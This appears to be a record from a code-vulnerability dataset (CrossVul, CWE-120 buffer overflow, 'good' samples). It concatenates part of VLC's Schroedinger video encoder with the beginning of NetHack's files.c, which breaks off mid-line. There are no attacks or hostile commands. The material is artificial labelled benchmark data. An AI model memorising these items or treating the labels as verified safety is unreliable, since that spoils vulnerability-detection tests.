frame height and an approximate fps match * 2. the previous preset with a smaller number of lines. */ do { if( schro_format_guess[i].i_height > p_enc->fmt_in.video.i_height ) { guessed_video_fmt = schro_format_guess[i-1].i_vf; break; } if( schro_format_guess[i].i_height != p_enc->fmt_in.video.i_height ) continue; int src_fps = p_enc->fmt_in.video.i_frame_rate / p_enc->fmt_in.video.i_frame_rate_base; int delta_fps = abs( schro_format_guess[i].i_approx_fps - src_fps ); if( delta_fps > 2 ) continue; guessed_video_fmt = schro_format_guess[i].i_vf; break; } while( schro_format_guess[++i].i_height ); schro_init(); p_sys->p_schro = schro_encoder_new(); if( !p_sys->p_schro ) { msg_Err( p_enc, "Failed to initialize libschroedinger encoder" ); return VLC_EGENERIC; } schro_encoder_set_packet_assembly( p_sys->p_schro, true ); if( !( p_sys->p_format = schro_encoder_get_video_format( p_sys->p_schro ) ) ) { msg_Err( p_enc, "Failed to get Schroedigner video format" ); schro_encoder_free( p_sys->p_schro ); return VLC_EGENERIC; } /* initialise the video format parameters to the guessed format */ schro_video_format_set_std_video_format( p_sys->p_format, guessed_video_fmt ); /* constants set from the input video format */ p_sys->p_format->width = p_enc->fmt_in.video.i_visible_width; p_sys->p_format->height = p_enc->fmt_in.video.i_visible_height; p_sys->p_format->frame_rate_numerator = p_enc->fmt_in.video.i_frame_rate; p_sys->p_format->frame_rate_denominator = p_enc->fmt_in.video.i_frame_rate_base; unsigned u_asr_num, u_asr_den; vlc_ureduce( &u_asr_num, &u_asr_den, p_enc->fmt_in.video.i_sar_num, p_enc->fmt_in.video.i_sar_den, 0 ); p_sys->p_format->aspect_ratio_numerator = u_asr_num; p_sys->p_format->aspect_ratio_denominator = u_asr_den; config_ChainParse( p_enc, ENC_CFG_PREFIX, ppsz_enc_options, p_enc->p_cfg ); SCHRO_SET_ENUM(enc_rate_control_list, ENC_RATE_CONTROL, ENC_RATE_CONTROL_TEXT, "rate_control") SCHRO_SET_ENUM(enc_gop_structure_list, ENC_GOP_STRUCTURE, ENC_GOP_STRUCTURE_TEXT, "gop_structure") psz_tmp = var_GetString( p_enc, ENC_CFG_PREFIX ENC_CHROMAFMT ); if( !psz_tmp ) goto error; else { uint32_t i_codec; if( !strcmp( psz_tmp, "420" ) ) { i_codec = VLC_CODEC_I420; } else if( !strcmp( psz_tmp, "422" ) ) { i_codec = VLC_CODEC_I422; } else if( !strcmp( psz_tmp, "444" ) ) { i_codec = VLC_CODEC_I444; } else { msg_Err( p_enc, "Invalid chroma format: %s", psz_tmp ); free( psz_tmp ); goto error; } SetEncChromaFormat( p_enc, i_codec ); } free( psz_tmp ); SCHRO_SET_FLOAT(ENC_QUALITY, "quality") SCHRO_SET_FLOAT(ENC_NOISE_THRESHOLD, "noise_threshold") /* use bitrate from sout-transcode-vb in kbps */ i_tmp = var_GetInteger( p_enc, ENC_CFG_PREFIX ENC_BITRATE ); if( i_tmp > -1 ) schro_encoder_setting_set_double( p_sys->p_schro, "bitrate", i_tmp * 1000 ); else schro_encoder_setting_set_double( p_sys->p_schro, "bitrate", p_enc->fmt_out.i_bitrate ); p_enc->fmt_out.i_bitrate = schro_encoder_setting_get_double( p_sys->p_schro, "bitrate" ); i_tmp = var_GetInteger( p_enc, ENC_CFG_PREFIX ENC_MIN_BITRATE ); if( i_tmp > -1 ) schro_encoder_setting_set_double( p_sys->p_schro, "min_bitrate", i_tmp * 1000 ); i_tmp = var_GetInteger( p_enc, ENC_CFG_PREFIX ENC_MAX_BITRATE ); if( i_tmp > -1 ) schro_encoder_setting_set_double( p_sys->p_schro, "max_bitrate", i_tmp * 1000 ); SCHRO_SET_INTEGER(ENC_AU_DISTANCE, "au_distance", -1) SCHRO_SET_ENUM(enc_filtering_list, ENC_PREFILTER, ENC_PREFILTER_TEXT, "filtering") SCHRO_SET_FLOAT(ENC_PREFILTER_STRENGTH, "filter_value") psz_tmp = var_GetString( p_enc, ENC_CFG_PREFIX ENC_CODINGMODE ); if( !psz_tmp ) goto error; else if( !strcmp( psz_tmp, "auto" ) ) { p_sys->b_auto_field_coding = true; } else if( !strcmp( psz_tmp, "progressive" ) ) { p_sys->b_auto_field_coding = false; schro_encoder_setting_set_double( p_sys->p_schro, "interlaced_coding", false); } else if( !strcmp( psz_tmp, "field" ) ) { p_sys->b_auto_field_coding = false; schro_encoder_setting_set_double( p_sys->p_schro, "interlaced_coding", true); } else { msg_Err( p_enc, "Invalid codingmode: %s", psz_tmp ); free( psz_tmp ); goto error; } free( psz_tmp ); SCHRO_SET_ENUM(enc_block_size_list, ENC_MCBLK_SIZE, ENC_MCBLK_SIZE_TEXT, "motion_block_size") SCHRO_SET_ENUM(enc_block_overlap_list, ENC_MCBLK_OVERLAP, ENC_MCBLK_OVERLAP_TEXT, "motion_block_overlap") psz_tmp = var_GetString( p_enc, ENC_CFG_PREFIX ENC_MVPREC ); if( !psz_tmp ) goto error; else if( *psz_tmp != '\0') { if( !strcmp( psz_tmp, "1" ) ) { schro_encoder_setting_set_double( p_sys->p_schro, "mv_precision", 0 ); } else if( !strcmp( psz_tmp, "1/2" ) ) { schro_encoder_setting_set_double( p_sys->p_schro, "mv_precision", 1 ); } else if( !strcmp( psz_tmp, "1/4" ) ) { schro_encoder_setting_set_double( p_sys->p_schro, "mv_precision", 2 ); } else if( !strcmp( psz_tmp, "1/8" ) ) { schro_encoder_setting_set_double( p_sys->p_schro, "mv_precision", 3 ); } else { msg_Err( p_enc, "Invalid mv_precision: %s", psz_tmp ); free( psz_tmp ); goto error; } } free( psz_tmp ); SCHRO_SET_INTEGER(ENC_ME_COMBINED, "enable_chroma_me", -1) SCHRO_SET_ENUM(enc_wavelet_list, ENC_DWTINTRA, ENC_DWTINTRA_TEXT, "intra_wavelet") SCHRO_SET_ENUM(enc_wavelet_list, ENC_DWTINTER, ENC_DWTINTER_TEXT, "inter_wavelet") SCHRO_SET_INTEGER(ENC_DWTDEPTH, "transform_depth", -1) SCHRO_SET_INTEGER(ENC_MULTIQUANT, "enable_multiquant", -1) SCHRO_SET_INTEGER(ENC_NOAC, "enable_noarith", -1) SCHRO_SET_ENUM(enc_perceptual_weighting_list, ENC_PWT, ENC_PWT_TEXT, "perceptual_weighting") SCHRO_SET_FLOAT(ENC_PDIST, "perceptual_distance") SCHRO_SET_INTEGER(ENC_HSLICES, "horiz_slices", -1) SCHRO_SET_INTEGER(ENC_VSLICES, "vert_slices", -1) SCHRO_SET_ENUM(enc_codeblock_size_list, ENC_SCBLK_SIZE, ENC_SCBLK_SIZE_TEXT, "codeblock_size") SCHRO_SET_INTEGER(ENC_ME_HIERARCHICAL, "enable_hierarchical_estimation", -1) SCHRO_SET_INTEGER(ENC_ME_DOWNSAMPLE_LEVELS, "downsample_levels", 1) SCHRO_SET_INTEGER(ENC_ME_GLOBAL_MOTION, "enable_global_motion", -1) SCHRO_SET_INTEGER(ENC_ME_PHASECORR, "enable_phasecorr_estimation", -1) SCHRO_SET_INTEGER(ENC_SCD, "enable_scene_change_detection", -1) SCHRO_SET_ENUM(enc_profile_list, ENC_FORCE_PROFILE, ENC_FORCE_PROFILE_TEXT, "force_profile") p_sys->started = 0; return VLC_SUCCESS; error: CloseEncoder( p_this ); return VLC_EGENERIC; } struct enc_picture_free_t { picture_t *p_pic; encoder_t *p_enc; }; /***************************************************************************** * EncSchroFrameFree: schro_frame callback to release the associated picture_t * When schro_encoder_reset() is called there will be pictures in the * encoding pipeline that need to be released rather than displayed. *****************************************************************************/ static void EncSchroFrameFree( SchroFrame *frame, void *priv ) { struct enc_picture_free_t *p_free = priv; if( !p_free ) return; picture_Release( p_free->p_pic ); free( p_free ); (void)frame; } /***************************************************************************** * CreateSchroFrameFromPic: wrap a picture_t in a SchroFrame *****************************************************************************/ static SchroFrame *CreateSchroFrameFromInputPic( encoder_t *p_enc, picture_t *p_pic ) { encoder_sys_t *p_sys = p_enc->p_sys; SchroFrame *p_schroframe = schro_frame_new(); struct enc_picture_free_t *p_free; if( !p_schroframe ) return NULL; if( !p_pic ) return NULL; p_schroframe->format = SCHRO_FRAME_FORMAT_U8_420; if( p_sys->p_format->chroma_format == SCHRO_CHROMA_422 ) { p_schroframe->format = SCHRO_FRAME_FORMAT_U8_422; } else if( p_sys->p_format->chroma_format == SCHRO_CHROMA_444 ) { p_schroframe->format = SCHRO_FRAME_FORMAT_U8_444; } p_schroframe->width = p_sys->p_format->width; p_schroframe->height = p_sys->p_format->height; p_free = malloc( sizeof( *p_free ) ); if( unlikely( p_free == NULL ) ) { schro_frame_unref( p_schroframe ); return NULL; } p_free->p_pic = p_pic; p_free->p_enc = p_enc; schro_frame_set_free_callback( p_schroframe, EncSchroFrameFree, p_free ); for( int i=0; i<3; i++ ) { p_schroframe->components[i].width = p_pic->p[i].i_visible_pitch; p_schroframe->components[i].stride = p_pic->p[i].i_pitch; p_schroframe->components[i].height = p_pic->p[i].i_visible_lines; p_schroframe->components[i].length = p_pic->p[i].i_pitch * p_pic->p[i].i_lines; p_schroframe->components[i].data = p_pic->p[i].p_pixels; if( i!=0 ) { p_schroframe->components[i].v_shift = SCHRO_FRAME_FORMAT_V_SHIFT( p_schroframe->format ); p_schroframe->components[i].h_shift = SCHRO_FRAME_FORMAT_H_SHIFT( p_schroframe->format ); } } return p_schroframe; } /* Attempt to find dirac picture number in an encapsulation unit */ static int ReadDiracPictureNumber( uint32_t *p_picnum, block_t *p_block ) { uint32_t u_pos = 4; /* protect against falling off the edge */ while( u_pos + 13 < p_block->i_buffer ) { /* find the picture startcode */ if( p_block->p_buffer[u_pos] & 0x08 ) { *p_picnum = GetDWBE( p_block->p_buffer + u_pos + 9 ); return 1; } /* skip to the next dirac data unit */ uint32_t u_npo = GetDWBE( p_block->p_buffer + u_pos + 1 ); assert( u_npo <= UINT32_MAX - u_pos ); if( u_npo == 0 ) u_npo = 13; u_pos += u_npo; } return 0; } static block_t *Encode( encoder_t *p_enc, picture_t *p_pic ) { encoder_sys_t *p_sys = p_enc->p_sys; block_t *p_block, *p_output_chain = NULL; SchroFrame *p_frame; bool b_go = true; if( !p_pic ) { if( !p_sys->started || p_sys->b_eos_pulled ) return NULL; if( !p_sys->b_eos_signalled ) { p_sys->b_eos_signalled = 1; schro_encoder_end_of_stream( p_sys->p_schro ); } } else { /* we only know if the sequence is interlaced when the first * picture arrives, so final setup is done here */ /* XXX todo, detect change of interlace */ p_sys->p_format->interlaced = !p_pic->b_progressive; p_sys->p_format->top_field_first = p_pic->b_top_field_first; if( p_sys->b_auto_field_coding ) schro_encoder_setting_set_double( p_sys->p_schro, "interlaced_coding", !p_pic->b_progressive ); } if( !p_sys->started ) { date_t date; if( p_pic->format.i_chroma != p_enc->fmt_in.i_codec ) { char chroma_in[5], chroma_out[5]; vlc_fourcc_to_char( p_pic->format.i_chroma, chroma_in ); chroma_in[4] = '\0'; chroma_out[4] = '\0'; vlc_fourcc_to_char( p_enc->fmt_in.i_codec, chroma_out ); msg_Warn( p_enc, "Resetting chroma from %s to %s", chroma_out, chroma_in ); if( !SetEncChromaFormat( p_enc, p_pic->format.i_chroma ) ) { msg_Err( p_enc, "Could not reset chroma format to %s", chroma_in ); return NULL; } } date_Init( &date, p_enc->fmt_in.video.i_frame_rate, p_enc->fmt_in.video.i_frame_rate_base ); /* FIXME - Unlike dirac-research codec Schro doesn't have a function that returns the delay in pics yet. * Use a default of 1 */ date_Increment( &date, 1 ); p_sys->i_pts_offset = date_Get( &date ); if( schro_encoder_setting_get_double( p_sys->p_schro, "interlaced_coding" ) > 0.0 ) { date_Set( &date, 0 ); date_Increment( &date, 1); p_sys->i_field_time = date_Get( &date ) / 2; } schro_video_format_set_std_signal_range( p_sys->p_format, SCHRO_SIGNAL_RANGE_8BIT_VIDEO ); schro_encoder_set_video_format( p_sys->p_schro, p_sys->p_format ); schro_encoder_start( p_sys->p_schro ); p_sys->started = 1; } if( !p_sys->b_eos_signalled ) { /* create a schro frame from the input pic and load */ /* Increase ref count by 1 so that the picture is not freed until Schro finishes with it */ picture_Hold( p_pic ); p_frame = CreateSchroFrameFromInputPic( p_enc, p_pic ); if( !p_frame ) return NULL; schro_encoder_push_frame( p_sys->p_schro, p_frame ); /* store pts in a lookaside buffer, so that the same pts may * be used for the picture in coded order */ StorePicturePTS( p_enc, p_sys->i_input_picnum, p_pic->date ); p_sys->i_input_picnum++; /* store dts in a queue, so that they appear in order in * coded order */ p_block = block_Alloc( 1 ); if( !p_block ) return NULL; p_block->i_dts = p_pic->date - p_sys->i_pts_offset; block_FifoPut( p_sys->p_dts_fifo, p_block ); p_block = NULL; /* for field coding mode, insert an extra value into both the * pts lookaside buffer and dts queue, offset to correspond * to a one field delay. */ if( schro_encoder_setting_get_double( p_sys->p_schro, "interlaced_coding" ) > 0.0 ) { StorePicturePTS( p_enc, p_sys->i_input_picnum, p_pic->date + p_sys->i_field_time ); p_sys->i_input_picnum++; p_block = block_Alloc( 1 ); if( !p_block ) return NULL; p_block->i_dts = p_pic->date - p_sys->i_pts_offset + p_sys->i_field_time; block_FifoPut( p_sys->p_dts_fifo, p_block ); p_block = NULL; } } do { SchroStateEnum state; state = schro_encoder_wait( p_sys->p_schro ); switch( state ) { case SCHRO_STATE_NEED_FRAME: b_go = false; break; case SCHRO_STATE_AGAIN: break; case SCHRO_STATE_END_OF_STREAM: p_sys->b_eos_pulled = 1; b_go = false; break; case SCHRO_STATE_HAVE_BUFFER: { SchroBuffer *p_enc_buf; uint32_t u_pic_num; int i_presentation_frame; p_enc_buf = schro_encoder_pull( p_sys->p_schro, &i_presentation_frame ); p_block = block_Alloc( p_enc_buf->length ); if( !p_block ) return NULL; memcpy( p_block->p_buffer, p_enc_buf->data, p_enc_buf->length ); schro_buffer_unref( p_enc_buf ); /* Presence of a Sequence header indicates a seek point */ if( 0 == p_block->p_buffer[4] ) { p_block->i_flags |= BLOCK_FLAG_TYPE_I; if( !p_enc->fmt_out.p_extra ) { const uint8_t eos[] = { 'B','B','C','D',0x10,0,0,0,13,0,0,0,0 }; uint32_t len = GetDWBE( p_block->p_buffer + 5 ); /* if it hasn't been done so far, stash a copy of the * sequence header for muxers such as ogg */ /* The OggDirac spec advises that a Dirac EOS DataUnit * is appended to the sequence header to allow guard * against poor streaming servers */ /* XXX, should this be done using the packetizer ? */ if( len > UINT32_MAX - sizeof( eos ) ) return NULL; p_enc->fmt_out.p_extra = malloc( len + sizeof( eos ) ); if( !p_enc->fmt_out.p_extra ) return NULL; memcpy( p_enc->fmt_out.p_extra, p_block->p_buffer, len ); memcpy( (uint8_t*)p_enc->fmt_out.p_extra + len, eos, sizeof( eos ) ); SetDWBE( (uint8_t*)p_enc->fmt_out.p_extra + len + sizeof(eos) - 4, len ); p_enc->fmt_out.i_extra = len + sizeof( eos ); } } if( ReadDiracPictureNumber( &u_pic_num, p_block ) ) { block_t *p_dts_block = block_FifoGet( p_sys->p_dts_fifo ); p_block->i_dts = p_dts_block->i_dts; p_block->i_pts = GetPicturePTS( p_enc, u_pic_num ); block_Release( p_dts_block ); block_ChainAppend( &p_output_chain, p_block ); } else { /* End of sequence */ block_ChainAppend( &p_output_chain, p_block ); } break; } default: break; } } while( b_go ); return p_output_chain; } /***************************************************************************** * CloseEncoder: Schro encoder destruction *****************************************************************************/ static void CloseEncoder( vlc_object_t *p_this ) { encoder_t *p_enc = (encoder_t *)p_this; encoder_sys_t *p_sys = p_enc->p_sys; /* Free the encoder resources */ if( p_sys->p_schro ) schro_encoder_free( p_sys->p_schro ); free( p_sys->p_format ); if( p_sys->p_dts_fifo ) block_FifoRelease( p_sys->p_dts_fifo ); block_ChainRelease( p_sys->p_chain ); free( p_sys ); }
./CrossVul/dataset_final_sorted/CWE-120/c/good_2396_0
crossvul-cpp_data_good_1322_1
/* NetHack 3.6 files.c $NHDT-Date: 1574116097 2019/11/18 22:28:17 $ $NHDT-Branch: NetHack-3.6 $:$NHDT-Revision: 1.272 $ */ /* Copyright (c) Stichting Mathematisch Centrum, Amsterdam, 1985. */ /*-Copyright (c) Derek S. Ray, 2015. */ /* NetHack may be freely redistributed. See license for details. */ #define NEED_VARARGS #include "hack.h" #include "dlb.h" #ifdef TTY_GRAPHICS #include "wintty.h" /* more() */ #endif #if (!defined(MAC) && !defined(O_WRONLY) && !defined(AZTEC_C)) \ || defined(USE_FCNTL) #include <fcntl.h> #endif #include <errno.h> #ifdef _MSC_VER /* MSC 6.0 defines errno quite differently */ #if (_MSC_VER >= 600) #define SKIP_ERRNO #endif #else #ifdef NHSTDC #define SKIP_ERRNO #endif #endif #ifndef SKIP_ERRNO #ifdef _DCC const #endif extern int errno; #endif #ifdef ZLIB_COMP /* RLC 09 Mar 1999: Support internal ZLIB */ #include "zlib.h" #ifndef COMPRESS_EXTENSION #define COMPRESS_EXTENSION ".gz" #endif #endif #if defined(UNIX) && defined(QT_GRAPHICS) #include <sys/types.h> #include <dirent.h> #include <stdlib.h> #endif #if defined(UNIX) || defined(VMS) || !defined(NO_SIGNAL) #include <signal.h> #endif #if defined(MSDOS) || defined(OS2) || defined(TOS) || defined(WIN32) #ifndef __DJGPP__ #include <sys\stat.h> #else #include <sys/stat.h> #endif #endif #ifndef O_BINARY /* used for micros, no-op for others */ #define O_BINARY 0 #endif #ifdef PREFIXES_IN_USE #define FQN_NUMBUF 4 static char fqn_filename_buffer[FQN_NUMBUF][FQN_MAX_FILENAME]; #endif #if !defined(MFLOPPY) && !defined(VMS) && !defined(WIN32) char bones[] = "bonesnn.xxx"; char lock[PL_NSIZ + 14] = "1lock"; /* long enough for uid+name+.99 */ #else #if defined(MFLOPPY) char bones[FILENAME]; /* pathname of bones files */ char lock[FILENAME]; /* pathname of level files */ #endif #if defined(VMS) char bones[] = "bonesnn.xxx;1"; char lock[PL_NSIZ + 17] = "1lock"; /* long enough for _uid+name+.99;1 */ #endif #if defined(WIN32) char bones[] = "bonesnn.xxx"; char lock[PL_NSIZ + 25]; /* long enough for username+-+name+.99 */ #endif #endif #if defined(UNIX) || defined(__BEOS__) #define SAVESIZE (PL_NSIZ + 13) /* save/99999player.e */ #else #ifdef VMS #define SAVESIZE (PL_NSIZ + 22) /* [.save]<uid>player.e;1 */ #else #if defined(WIN32) #define SAVESIZE (PL_NSIZ + 40) /* username-player.NetHack-saved-game */ #else #define SAVESIZE FILENAME /* from macconf.h or pcconf.h */ #endif #endif #endif #if !defined(SAVE_EXTENSION) #ifdef MICRO #define SAVE_EXTENSION ".sav" #endif #ifdef WIN32 #define SAVE_EXTENSION ".NetHack-saved-game" #endif #endif char SAVEF[SAVESIZE]; /* holds relative path of save file from playground */ #ifdef MICRO char SAVEP[SAVESIZE]; /* holds path of directory for save file */ #endif #ifdef HOLD_LOCKFILE_OPEN struct level_ftrack { int init; int fd; /* file descriptor for level file */ int oflag; /* open flags */ boolean nethack_thinks_it_is_open; /* Does NetHack think it's open? */ } lftrack; #if defined(WIN32) #include <share.h> #endif #endif /*HOLD_LOCKFILE_OPEN*/ #define WIZKIT_MAX 128 static char wizkit[WIZKIT_MAX]; STATIC_DCL FILE *NDECL(fopen_wizkit_file); STATIC_DCL void FDECL(wizkit_addinv, (struct obj *)); #ifdef AMIGA extern char PATH[]; /* see sys/amiga/amidos.c */ extern char bbs_id[]; static int lockptr; #ifdef __SASC_60 #include <proto/dos.h> #endif #include <libraries/dos.h> extern void FDECL(amii_set_text_font, (char *, int)); #endif #if defined(WIN32) || defined(MSDOS) static int lockptr; #ifdef MSDOS #define Delay(a) msleep(a) #endif #define Close close #ifndef WIN_CE #define DeleteFile unlink #endif #ifdef WIN32 /*from windmain.c */ extern char *FDECL(translate_path_variables, (const char *, char *)); #endif #endif #ifdef MAC #undef unlink #define unlink macunlink #endif #if (defined(macintosh) && (defined(__SC__) || defined(__MRC__))) \ || defined(__MWERKS__) #define PRAGMA_UNUSED #endif #ifdef USER_SOUNDS extern char *sounddir; #endif extern int n_dgns; /* from dungeon.c */ #if defined(UNIX) && defined(QT_GRAPHICS) #define SELECTSAVED #endif #ifdef SELECTSAVED STATIC_PTR int FDECL(CFDECLSPEC strcmp_wrap, (const void *, const void *)); #endif STATIC_DCL char *FDECL(set_bonesfile_name, (char *, d_level *)); STATIC_DCL char *NDECL(set_bonestemp_name); #ifdef COMPRESS STATIC_DCL void FDECL(redirect, (const char *, const char *, FILE *, BOOLEAN_P)); #endif #if defined(COMPRESS) || defined(ZLIB_COMP) STATIC_DCL void FDECL(docompress_file, (const char *, BOOLEAN_P)); #endif #if defined(ZLIB_COMP) STATIC_DCL boolean FDECL(make_compressed_name, (const char *, char *)); #endif #ifndef USE_FCNTL STATIC_DCL char *FDECL(make_lockname, (const char *, char *)); #endif STATIC_DCL void FDECL(set_configfile_name, (const char *)); STATIC_DCL FILE *FDECL(fopen_config_file, (const char *, int)); STATIC_DCL int FDECL(get_uchars, (char *, uchar *, BOOLEAN_P, int, const char *)); boolean FDECL(proc_wizkit_line, (char *)); boolean FDECL(parse_config_line, (char *)); STATIC_DCL boolean FDECL(parse_conf_file, (FILE *, boolean (*proc)(char *))); STATIC_DCL FILE *NDECL(fopen_sym_file); boolean FDECL(proc_symset_line, (char *)); STATIC_DCL void FDECL(set_symhandling, (char *, int)); #ifdef NOCWD_ASSUMPTIONS STATIC_DCL void FDECL(adjust_prefix, (char *, int)); #endif STATIC_DCL boolean FDECL(config_error_nextline, (const char *)); STATIC_DCL void NDECL(free_config_sections); STATIC_DCL char *FDECL(choose_random_part, (char *, CHAR_P)); STATIC_DCL boolean FDECL(is_config_section, (const char *)); STATIC_DCL boolean FDECL(handle_config_section, (char *)); #ifdef SELF_RECOVER STATIC_DCL boolean FDECL(copy_bytes, (int, int)); #endif #ifdef HOLD_LOCKFILE_OPEN STATIC_DCL int FDECL(open_levelfile_exclusively, (const char *, int, int)); #endif static char *config_section_chosen = (char *) 0; static char *config_section_current = (char *) 0; /* * fname_encode() * * Args: * legal zero-terminated list of acceptable file name characters * quotechar lead-in character used to quote illegal characters as * hex digits * s string to encode * callerbuf buffer to house result * bufsz size of callerbuf * * Notes: * The hex digits 0-9 and A-F are always part of the legal set due to * their use in the encoding scheme, even if not explicitly included in * 'legal'. * * Sample: * The following call: * (void)fname_encode("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", * '%', "This is a % test!", buf, 512); * results in this encoding: * "This%20is%20a%20%25%20test%21" */ char * fname_encode(legal, quotechar, s, callerbuf, bufsz) const char *legal; char quotechar; char *s, *callerbuf; int bufsz; { char *sp, *op; int cnt = 0; static char hexdigits[] = "0123456789ABCDEF"; sp = s; op = callerbuf; *op = '\0'; while (*sp) { /* Do we have room for one more character or encoding? */ if ((bufsz - cnt) <= 4) return callerbuf; if (*sp == quotechar) { (void) sprintf(op, "%c%02X", quotechar, *sp); op += 3; cnt += 3; } else if ((index(legal, *sp) != 0) || (index(hexdigits, *sp) != 0)) { *op++ = *sp; *op = '\0'; cnt++; } else { (void) sprintf(op, "%c%02X", quotechar, *sp); op += 3; cnt += 3; } sp++; } return callerbuf; } /* * fname_decode() * * Args: * quotechar lead-in character used to quote illegal characters as * hex digits * s string to decode * callerbuf buffer to house result * bufsz size of callerbuf */ char * fname_decode(quotechar, s, callerbuf, bufsz) char quotechar; char *s, *callerbuf; int bufsz; { char *sp, *op; int k, calc, cnt = 0; static char hexdigits[] = "0123456789ABCDEF"; sp = s; op = callerbuf; *op = '\0'; calc = 0; while (*sp) { /* Do we have room for one more character? */ if ((bufsz - cnt) <= 2) return callerbuf; if (*sp == quotechar) { sp++; for (k = 0; k < 16; ++k) if (*sp == hexdigits[k]) break; if (k >= 16) return callerbuf; /* impossible, so bail */ calc = k << 4; sp++; for (k = 0; k < 16; ++k) if (*sp == hexdigits[k]) break; if (k >= 16) return callerbuf; /* impossible, so bail */ calc += k; sp++; *op++ = calc; *op = '\0'; } else { *op++ = *sp++; *op = '\0'; } cnt++; } return callerbuf; } #ifdef PREFIXES_IN_USE #define UNUSED_if_not_PREFIXES_IN_USE /*empty*/ #else #define UNUSED_if_not_PREFIXES_IN_USE UNUSED #endif /*ARGSUSED*/ const char * fqname(basenam, whichprefix, buffnum) const char *basenam; int whichprefix UNUSED_if_not_PREFIXES_IN_USE; int buffnum UNUSED_if_not_PREFIXES_IN_USE; { #ifdef PREFIXES_IN_USE char *bufptr; #endif #ifdef WIN32 char tmpbuf[BUFSZ]; #endif #ifndef PREFIXES_IN_USE return basenam; #else if (!basenam || whichprefix < 0 || whichprefix >= PREFIX_COUNT) return basenam; if (!fqn_prefix[whichprefix]) return basenam; if (buffnum < 0 || buffnum >= FQN_NUMBUF) { impossible("Invalid fqn_filename_buffer specified: %d", buffnum); buffnum = 0; } bufptr = fqn_prefix[whichprefix]; #ifdef WIN32 if (strchr(fqn_prefix[whichprefix], '%') || strchr(fqn_prefix[whichprefix], '~')) bufptr = translate_path_variables(fqn_prefix[whichprefix], tmpbuf); #endif if (strlen(bufptr) + strlen(basenam) >= FQN_MAX_FILENAME) { impossible("fqname too long: %s + %s", bufptr, basenam); return basenam; /* XXX */ } Strcpy(fqn_filename_buffer[buffnum], bufptr); return strcat(fqn_filename_buffer[buffnum], basenam); #endif /* !PREFIXES_IN_USE */ } int validate_prefix_locations(reasonbuf) char *reasonbuf; /* reasonbuf must be at least BUFSZ, supplied by caller */ { #if defined(NOCWD_ASSUMPTIONS) FILE *fp; const char *filename; int prefcnt, failcount = 0; char panicbuf1[BUFSZ], panicbuf2[BUFSZ]; const char *details; #endif if (reasonbuf) reasonbuf[0] = '\0'; #if defined(NOCWD_ASSUMPTIONS) for (prefcnt = 1; prefcnt < PREFIX_COUNT; prefcnt++) { /* don't test writing to configdir or datadir; they're readonly */ if (prefcnt == SYSCONFPREFIX || prefcnt == CONFIGPREFIX || prefcnt == DATAPREFIX) continue; filename = fqname("validate", prefcnt, 3); if ((fp = fopen(filename, "w"))) { fclose(fp); (void) unlink(filename); } else { if (reasonbuf) { if (failcount) Strcat(reasonbuf, ", "); Strcat(reasonbuf, fqn_prefix_names[prefcnt]); } /* the paniclog entry gets the value of errno as well */ Sprintf(panicbuf1, "Invalid %s", fqn_prefix_names[prefcnt]); #if defined(NHSTDC) && !defined(NOTSTDC) if (!(details = strerror(errno))) #endif details = ""; Sprintf(panicbuf2, "\"%s\", (%d) %s", fqn_prefix[prefcnt], errno, details); paniclog(panicbuf1, panicbuf2); failcount++; } } if (failcount) return 0; else #endif return 1; } /* fopen a file, with OS-dependent bells and whistles */ /* NOTE: a simpler version of this routine also exists in util/dlb_main.c */ FILE * fopen_datafile(filename, mode, prefix) const char *filename, *mode; int prefix; { FILE *fp; filename = fqname(filename, prefix, prefix == TROUBLEPREFIX ? 3 : 0); fp = fopen(filename, mode); return fp; } /* ---------- BEGIN LEVEL FILE HANDLING ----------- */ #ifdef MFLOPPY /* Set names for bones[] and lock[] */ void set_lock_and_bones() { if (!ramdisk) { Strcpy(levels, permbones); Strcpy(bones, permbones); } append_slash(permbones); append_slash(levels); #ifdef AMIGA strncat(levels, bbs_id, PATHLEN); #endif append_slash(bones); Strcat(bones, "bonesnn.*"); Strcpy(lock, levels); #ifndef AMIGA Strcat(lock, alllevels); #endif return; } #endif /* MFLOPPY */ /* Construct a file name for a level-type file, which is of the form * something.level (with any old level stripped off). * This assumes there is space on the end of 'file' to append * a two digit number. This is true for 'level' * but be careful if you use it for other things -dgk */ void set_levelfile_name(file, lev) char *file; int lev; { char *tf; tf = rindex(file, '.'); if (!tf) tf = eos(file); Sprintf(tf, ".%d", lev); #ifdef VMS Strcat(tf, ";1"); #endif return; } int create_levelfile(lev, errbuf) int lev; char errbuf[]; { int fd; const char *fq_lock; if (errbuf) *errbuf = '\0'; set_levelfile_name(lock, lev); fq_lock = fqname(lock, LEVELPREFIX, 0); #if defined(MICRO) || defined(WIN32) /* Use O_TRUNC to force the file to be shortened if it already * exists and is currently longer. */ #ifdef HOLD_LOCKFILE_OPEN if (lev == 0) fd = open_levelfile_exclusively( fq_lock, lev, O_WRONLY | O_CREAT | O_TRUNC | O_BINARY); else #endif fd = open(fq_lock, O_WRONLY | O_CREAT | O_TRUNC | O_BINARY, FCMASK); #else #ifdef MAC fd = maccreat(fq_lock, LEVL_TYPE); #else fd = creat(fq_lock, FCMASK); #endif #endif /* MICRO || WIN32 */ if (fd >= 0) level_info[lev].flags |= LFILE_EXISTS; else if (errbuf) /* failure explanation */ Sprintf(errbuf, "Cannot create file \"%s\" for level %d (errno %d).", lock, lev, errno); return fd; } int open_levelfile(lev, errbuf) int lev; char errbuf[]; { int fd; const char *fq_lock; if (errbuf) *errbuf = '\0'; set_levelfile_name(lock, lev); fq_lock = fqname(lock, LEVELPREFIX, 0); #ifdef MFLOPPY /* If not currently accessible, swap it in. */ if (level_info[lev].where != ACTIVE) swapin_file(lev); #endif #ifdef MAC fd = macopen(fq_lock, O_RDONLY | O_BINARY, LEVL_TYPE); #else #ifdef HOLD_LOCKFILE_OPEN if (lev == 0) fd = open_levelfile_exclusively(fq_lock, lev, O_RDONLY | O_BINARY); else #endif fd = open(fq_lock, O_RDONLY | O_BINARY, 0); #endif /* for failure, return an explanation that our caller can use; settle for `lock' instead of `fq_lock' because the latter might end up being too big for nethack's BUFSZ */ if (fd < 0 && errbuf) Sprintf(errbuf, "Cannot open file \"%s\" for level %d (errno %d).", lock, lev, errno); return fd; } void delete_levelfile(lev) int lev; { /* * Level 0 might be created by port specific code that doesn't * call create_levfile(), so always assume that it exists. */ if (lev == 0 || (level_info[lev].flags & LFILE_EXISTS)) { set_levelfile_name(lock, lev); #ifdef HOLD_LOCKFILE_OPEN if (lev == 0) really_close(); #endif (void) unlink(fqname(lock, LEVELPREFIX, 0)); level_info[lev].flags &= ~LFILE_EXISTS; } } void clearlocks() { #ifdef 